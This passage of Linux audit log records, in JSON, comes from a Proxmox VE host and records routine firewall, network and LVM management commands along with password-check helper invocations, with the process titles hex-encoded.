cap_frootid=0"} {"@timestamp":1781964616073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964616.073:61813): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975861,"@rawstring":"node=pve type=PATH msg=audit(1781965975.861:67913): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616038,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964616.038:61812): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975856,"@rawstring":"node=pve type=PATH msg=audit(1781965975.856:67912): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616035,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964616.035:61811): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975856,"@rawstring":"node=pve type=PATH msg=audit(1781965975.856:67912): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.493:61810): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965975850,"@rawstring":"node=pve type=PATH msg=audit(1781965975.850:67911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615490,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.490:61809): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965975850,"@rawstring":"node=pve type=PATH msg=audit(1781965975.850:67911): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.488:61808): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965975843,"@rawstring":"node=pve type=PATH msg=audit(1781965975.843:67910): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.488:61807): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965975843,"@rawstring":"node=pve type=PATH msg=audit(1781965975.843:67910): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.485:61806): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965975838,"@rawstring":"node=pve type=PATH msg=audit(1781965975.838:67909): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.478:61805): proctitle=\"ip6tables-save\""} {"@timestamp":1781965975838,"@rawstring":"node=pve type=PATH msg=audit(1781965975.838:67909): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615471,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.471:61804): proctitle=\"iptables-save\""} {"@timestamp":1781965975830,"@rawstring":"node=pve type=PATH msg=audit(1781965975.830:67908): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615465,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.465:61803): proctitle=\"ip6tables-save\""} {"@timestamp":1781965975830,"@rawstring":"node=pve type=PATH msg=audit(1781965975.830:67908): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615458,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.458:61802): proctitle=\"iptables-save\""} {"@timestamp":1781965975820,"@rawstring":"node=pve type=PATH msg=audit(1781965975.820:67907): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.456:61801): proctitle=\"ebtables-restore\""} {"@timestamp":1781965975820,"@rawstring":"node=pve type=PATH msg=audit(1781965975.820:67907): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.453:61800): proctitle=\"ebtables-restore\""} {"@timestamp":1781965975814,"@rawstring":"node=pve type=PATH msg=audit(1781965975.814:67906): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.449:61799): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965975814,"@rawstring":"node=pve type=PATH msg=audit(1781965975.814:67906): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.443:61798): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965975807,"@rawstring":"node=pve type=PATH msg=audit(1781965975.807:67905): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.439:61797): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965975807,"@rawstring":"node=pve type=PATH msg=audit(1781965975.807:67905): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.433:61796): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965975806,"@rawstring":"node=pve type=PATH msg=audit(1781965975.806:67904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.429:61795): proctitle=697073657400726573746F7265"} {"@timestamp":1781965975806,"@rawstring":"node=pve type=PATH msg=audit(1781965975.806:67904): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.422:61794): proctitle=\"ip6tables-save\""} {"@timestamp":1781965975804,"@rawstring":"node=pve type=PATH msg=audit(1781965975.804:67903): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615416,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.416:61793): proctitle=\"iptables-save\""} {"@timestamp":1781965975804,"@rawstring":"node=pve type=PATH msg=audit(1781965975.804:67903): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.412:61792): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965975804,"@rawstring":"node=pve type=PATH msg=audit(1781965975.804:67902): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.408:61791): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965975800,"@rawstring":"node=pve type=PATH msg=audit(1781965975.800:67901): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.407:61790): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965975800,"@rawstring":"node=pve type=PATH msg=audit(1781965975.800:67901): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.407:61789): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965975800,"@rawstring":"node=pve type=PATH msg=audit(1781965975.800:67901): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615403,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.403:61788): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965975789,"@rawstring":"node=pve type=PATH msg=audit(1781965975.789:67900): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.396:61787): proctitle=\"ip6tables-save\""} {"@timestamp":1781965975789,"@rawstring":"node=pve type=PATH msg=audit(1781965975.789:67900): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.389:61786): proctitle=\"iptables-save\""} {"@timestamp":1781965975781,"@rawstring":"node=pve type=PATH msg=audit(1781965975.781:67899): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.385:61785): proctitle=69707365740073617665"} {"@timestamp":1781965975781,"@rawstring":"node=pve type=PATH msg=audit(1781965975.781:67899): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615379,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.379:61784): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965975773,"@rawstring":"node=pve type=PATH msg=audit(1781965975.773:67898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615372,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.372:61783): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965975773,"@rawstring":"node=pve type=PATH msg=audit(1781965975.773:67898): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.036:61782): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975765,"@rawstring":"node=pve type=PATH msg=audit(1781965975.765:67897): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.036:61781): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975765,"@rawstring":"node=pve type=PATH msg=audit(1781965975.765:67897): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.036:61780): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975755,"@rawstring":"node=pve type=PATH msg=audit(1781965975.755:67896): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.028:61779): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975755,"@rawstring":"node=pve type=PATH msg=audit(1781965975.755:67896): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.028:61778): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975591,"@rawstring":"node=pve type=PATH msg=audit(1781965975.591:67895): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.028:61777): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975591,"@rawstring":"node=pve type=PATH msg=audit(1781965975.591:67895): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964615.020:61776): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965975591,"@rawstring":"node=pve type=PATH msg=audit(1781965975.591:67895): item=0 name=\"/usr/bin/pvesh\" inode=304825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964614992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964614.992:61775): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PATH msg=audit(1781965974.963:67894): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612343,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964612.343:61773): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PATH msg=audit(1781965974.963:67894): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964612.341:61772): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PATH msg=audit(1781965974.963:67893): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964612.303:61771): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PATH msg=audit(1781965974.963:67893): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964612.300:61770): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PATH msg=audit(1781965974.963:67892): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964610.022:61769): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965974963,"@rawstring":"node=pve type=PATH msg=audit(1781965974.963:67891): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964610.022:61768): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965974958,"@rawstring":"node=pve type=PATH msg=audit(1781965974.958:67890): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964610.022:61767): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965974958,"@rawstring":"node=pve type=PATH msg=audit(1781965974.958:67890): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964610.007:61766): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965974958,"@rawstring":"node=pve type=PATH msg=audit(1781965974.958:67889): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964610.007:61765): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965974958,"@rawstring":"node=pve type=PATH msg=audit(1781965974.958:67888): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964610.007:61764): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965974929,"@rawstring":"node=pve type=PATH msg=audit(1781965974.929:67887): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964608.614:61762): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965974929,"@rawstring":"node=pve type=PATH msg=audit(1781965974.929:67887): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608610,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964608.610:61761): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965969954,"@rawstring":"node=pve type=PATH msg=audit(1781965969.954:67886): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964608.558:61760): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965969954,"@rawstring":"node=pve type=PATH msg=audit(1781965969.954:67886): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964608.554:61759): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965969954,"@rawstring":"node=pve type=PATH msg=audit(1781965969.954:67885): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.360:61758): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965969954,"@rawstring":"node=pve type=PATH msg=audit(1781965969.954:67884): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.357:61757): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965969946,"@rawstring":"node=pve type=PATH msg=audit(1781965969.946:67883): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.356:61756): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965969946,"@rawstring":"node=pve type=PATH msg=audit(1781965969.946:67883): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.356:61755): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965969946,"@rawstring":"node=pve type=PATH msg=audit(1781965969.946:67882): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.352:61754): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965969946,"@rawstring":"node=pve type=PATH msg=audit(1781965969.946:67881): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.346:61753): proctitle=\"ip6tables-save\""} {"@timestamp":1781965965741,"@rawstring":"node=pve type=PATH msg=audit(1781965965.741:67880): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964605.340:61752): proctitle=\"iptables-save\""} {"@timestamp":1781965965741,"@rawstring":"node=pve type=PATH msg=audit(1781965965.741:67880): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 